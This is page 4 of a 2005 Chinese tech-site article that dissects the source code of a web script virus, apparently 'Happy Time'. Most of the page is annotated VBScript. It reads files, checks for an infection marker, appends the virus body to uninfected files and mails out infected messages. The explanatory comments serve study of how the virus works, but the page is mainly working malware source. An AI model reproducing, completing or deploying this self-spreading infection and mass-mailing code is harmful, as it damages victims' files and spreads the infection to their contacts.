揭密:各种各样网页病毒源码解析(4)

中华网科技 http://tech.china.com 2005-07-27 13:46:04

【进入BBS】【进入聊天室】【 推荐给朋友 】【浏览字号：大 中 小】【关闭窗口】

　　
If fext <> "" Then
　　’如果扩展名不为空，则

　　Fw Of, m, fext
　　End If
　　Next
　　End If
　　End Sub
　　Sub mclose()
　　document.Write "<" & "title>I am sorry!’写入I am sorry,并关闭。以此作为感染与否的标记
　　window.Close
　　End Sub

　　’##########################################################################
　　Sub Fw(Of, S, n)
　　’此时S为文件名，n为文件扩展名

　　Dim fc, fc2, m, mmail, mt
　　On Error Resume Next
　　Set fc = Of.OpenTextFile(S, 1)
　　’只读模式打开该文件

　　mt = fc.ReadAll
　　’读入全部文件流

　　fc.Close
　　’关闭文件
　　If Not Sc(mt) Then
　　’如果未感染过

　　mmail = Ml(mt)
　　mt = Sa(n)
　　Set fc2 = Of.OpenTextFile(S, 8)
　　’打开文件并在文件末尾进行写操作

　　fc2.Write mt
　　fc2.Close
　　Msend (mmail)
　　’发带毒邮件
　　End If
　　End Sub

　　’############################################################
　　Function Sc(S)
　　mN = "Rem I am sorry! happy time"
　　If InStr(S, mN) > 0 Then
　　’如果读入的文件流中有Rem I am sorry! happy time

　　Sc = True
　　Else
　　Sc = False
　　’表示已感染过，返回True,否则为False
　　End If
　　End Function

　　’###########################################################
　　Function FNext(Of, Od, S)
　　Dim fpath, fname, fext, T, gf
　　On Error Resume Next
　　fname = ""
　　T = False
　　’初始化变量

首页 上页 | ...1| 2 | 3 | 4 | 5 | 下页 尾页  共 5 页